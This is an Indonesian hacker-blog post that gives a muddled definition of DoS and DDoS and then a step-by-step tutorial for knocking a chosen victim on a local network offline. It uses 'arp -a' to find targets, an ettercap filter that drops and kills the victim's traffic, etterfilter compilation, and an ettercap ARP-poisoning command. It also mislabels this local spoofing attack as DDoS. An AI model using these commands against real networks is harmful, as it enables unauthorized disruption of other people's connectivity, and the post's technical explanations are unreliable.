Numpang share pegalaman
Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut
[01]. Serangan Denial of Service (DOS) ini terjadi apabila penyerang atau yang sering terdengar dengan istilah hacker ini merusak host atau sevice yang ada sehingga host atau service itu tidak dapat lagi berkomunikasi secara lancar di dalam network neighborhood-nya [03]. Perkembangan dari serangan DOS adalah DDOS. Serangan DDoS adalah jenis serangan dengan cara memenuhi trafik server situs tersebut hingga situs menjadi lambat dan susah diakses
[02]. Pengertian lain tentang DDOS adalah mengirimkan data secara terus menerus dengan menggunakan satu komputer tidak begitu efektif karena biasanya sumber daya server yang diserang lebih besar dari komputer penyerang [04]. Dari beberapa pengertian di atas dapat disimpulkan bahwa serangan DDOS (Denial Distribute Of Service) sangat merugikan bagi yang diserang, karena serangan ini dapat menghambat kerja pengguna dari komputer korban. Dimana komputer korban menjadi lambat dan sulit untuk diakses akibat dari penuhnya trafik dalam komputer tersebut Ok Saya rasa Sudah jelas...ok
pertama kita cek dulu korbannya yang akan kita serang
buka terminal ketikkan perintah
arp -a
untuk melihat mangsa
disini korban saya IP 192.168.1.20
langsung saja
1. Buka Gedit (atau file editor apapun) kemudian tulis perintahdi bawah ini
Code:
if(ip.src == 'IP_TARGET' || ip.dst == 'IP_TARGET') {
drop();
kill();
msg("DDOS xbuster404 !!\n");
}
ganti IP_TARGET dengan IP Address target yang akan diserang kemudian simpan dengan nama dos.eft
2. Convert file dos.eft menjadi dos.ef
etterfilter dos.eft -o dos.ef
3. Lakukan serangan
ettercap -T -q -F /root/dos.ef -M ARP /ip_targetmu/ // -i kartu_wireles/lanmu
Jika target/korban mengakses internet maka rto alias not respon
maka ip tersebut tidak bisa digunakan lagi .Dan ini adalah hasil dari kelakuan kalian
Sumber : http://hacker-newbie.org/showthread.php?tid=17071
0 comments: